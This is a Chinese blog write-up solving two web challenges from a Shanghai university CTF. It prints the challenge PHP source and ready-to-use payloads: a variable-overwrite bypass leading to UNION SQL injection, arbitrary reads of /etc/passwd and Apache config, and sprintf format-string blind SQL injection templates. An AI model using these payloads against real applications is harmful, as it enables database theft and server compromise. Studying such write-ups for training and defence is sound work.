M0deration's blog.

第六届上海市大学生网络安全大赛web两题(复现)

字数统计: 1.9k阅读时长: 10 min
2020/11/17 Share

周末有事回家,没有来得及好好打一打,看了一点

现在来复现一波吧

千毒网盘

首先就是扫一波发现源码泄露www.zip

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<title>千毒网盘</title>
</head>
<body>
<div class="container">
<div class="page-header">
<h1>
千毒网盘 <small>提取你的文件</small>
</h1>
</div>
<div class="row clearfix">
<div class="col-md-4 column">
</div>
<div class="col-md-4 column">
<br>
<form role="form" action='/index.php' method="POST">
<div class="form-group">
<h3>提取码</h3><br><input class="form-control" name="code" />
</div>
<button type="submit" class="btn btn-block btn-default btn-warning">提取文件</button>
</form>
<br>
<?php
include 'code.php';

$pan = new Pan();

foreach(array('_GET', '_POST', '_COOKIE') as $key)
{
if($$key) {
foreach($$key as $key_2 => $value_2) {
if(isset($$key_2) and $$key_2 == $value_2)
unset($$key_2);
}
}
}
if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);
if(isset($_POST['code']))
{
$message = $pan->getfile();
echo <<<EOF
<div class="alert alert-dismissable alert-info">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
注意!
</h4> <strong>注意!</strong> {$message}
</div>
EOF;
}
?>
</div>
<div class="col-md-4 column">
</div>
</div>
</div>
</div>
</body>
</html>

code.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

class Pan
{
public $hostname = '127.0.0.1';
public $username = 'root';
public $password = 'root';
public $database = 'ctf';
private $mysqli = null;

public function __construct()
{

$this->mysqli = mysqli_connect(
$this->hostname,
$this->username,
$this->password
);
mysqli_select_db($this->mysqli,$this->database);


}

public function filter($string)
{
$safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
if($safe === 0){
return $string;
}else{
return False;
}

}

public function getfile()
{

$code = $_POST['code'];

if($code === False) return '非法提取码!';
$file_code = array(114514,233333,666666);

if(in_array($code,$file_code))
{
$sql = "select * from file where code='$code'";
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
return '下载直链为:'.$result->url;
}else{
return '提取码不存在!';
}

}

}

后面class类已经过滤了蛮多东西的,这个主要的问题在于这段代码

1
2
3
4
5
6
7
8
9
10
11
12
foreach(array('_GET', '_POST', '_COOKIE') as $key)
{
if($$key) {
foreach($$key as $key_2 => $value_2) {
if(isset($$key_2) and $$key_2 == $value_2)
unset($$key_2);
}
}
}
if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);

unset()主要时用来销毁变量的

主要是要关注为啥会在filter过滤后面又加这段代码

1
2
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);

extract很明显的变量覆盖


EXTR_OVERWRITE

如果有冲突,覆盖已有的变量。

EXTR_SKIP

如果有冲突,不覆盖已有的变量。

1
2
3
4
5
6
7
<?php
$a="xxx";
$b="lalala";
extract($_POST,EXTR_SKIP);
extract($_GET,EXTR_OVERWRITE);
var_dump($a);
var_dump($b);

?b=bbb

POST:

a=aaa

显示

1
2
string 'xxx' (length=3)
string 'bbb' (length=3)

直接先试一下

1
2
3
?_POST[code]=66666
POST
code=66666

所以直接在先销毁变量然后再变量覆盖新创建变量,就是没有过滤的sql注入了

image-20201117123746972

下一步时

image-20201117123812973

变量被销毁了

image-20201117123854370

在下面extract创建新变量这时候就是POST数据毫无过滤

直接打就好了

payload

1
2
3
?_POST[code]=666666'and'1'='2' union select 1,2,flag url from flag#
POST
code=666666'and'1'='2' union select 1,2,flag url from flag#

TryToLogin

给了file可以读文件,直接读取/etc/passwd发现有apache

直接读apache配置文件看根目录是啥

1
file=/etc/apache2/sites-available/000-default.conf

QQ图片20201117141726

然后直接读源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
highlight_file(__FILE__);
include 'class.php';

if(isset($_GET['file'])){

if(preg_match('/flag/is', $_GET['file']) === 0){
echo file_get_contents('/'.$_GET['file']);
}
}
if(isset($_POST['password'])){
$user = new user;
$login = $user->login();
if($login){
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-info">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
恭喜!
</h4> <strong>Success!</strong>登录成功了!
</div>
</div>
</div>
</div>
EOF;
}else{
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-danger">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
注意!
</h4> <strong>Wrong!</strong>用户名或密码错误!Need help?
</div>
</div>
</div>
</div>

<!-- /?file=xxx 请使用绝对路径-->
EOF;
}

}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class user
{
public $hostname = '127.0.0.1';
public $username = 'root';
public $password = 'root';
public $database = 'ctf';
private $mysqli = null;

public function __construct()
{
$this->mysqli = mysqli_connect(
$this->hostname,
$this->username,
$this->password
);
mysqli_select_db($this->mysqli,$this->database);
}

public function filter()
{
$_POST['username'] = addslashes($_POST['username']);
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}

public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
//蛮明显的sprintf注入漏洞
$sql = sprintf($sql,$username);
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}

}

}

session_start();

挺明显的sprintf注入漏洞

sprintf(format,arg1,arg2,arg++)

arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 “$“ 组成。例如%1$s第一个参数(arg1)填入以字符串形式

一个例子

1
2
3
4
5
6
7
8
9
<?php
$a="%1$' or 1=1#";
$a=addslashes($a);//%1$\' or 1=1#
//这是的sql语句就变成了
//select * from test where username='%s' and password='%1$\' or 1=1#'
$str1=sprintf("select * from test where username='%s' and password='$a'","sss");
//这里%1$\就会被替换为空,因为%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\(或%1$\)被替换为空
var_dump($str1);
//select * from test where username='sss' and password='' or 1=1#'

mysql> select * from test where name=’xixi’ and password=’’ or 1;
+—-+——-+———-+
| Id | name | password |
+—-+——-+———-+
| 1 | xixi | nicaicai |
| 2 | admin | admin |
+—-+——-+———-+

所以接下来就是sql的一个盲注,过滤了or可以使用||代替,因为数据版本在5.7以上所以information.schema的库都可以参考这篇文章聊一聊bypass information_schema

后面就是简单的布尔盲注了

1
2
3
4
5
6
7
爆库
%1$'||(ascii(substr((select database()),{},1))>{})#
使用sys.schema_table_statistics来bypass or
爆表:fl4g
%1$'||(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{})#
爆数据
%1$'||(ascii(substr((select * from fl4g),{},1))>{})#

最后一题是ssti,之前看了一些但是感觉理解还是不够好,过几天再好好学习一遍再来补上

CATALOG
  1. 1. 千毒网盘
  2. 2. TryToLogin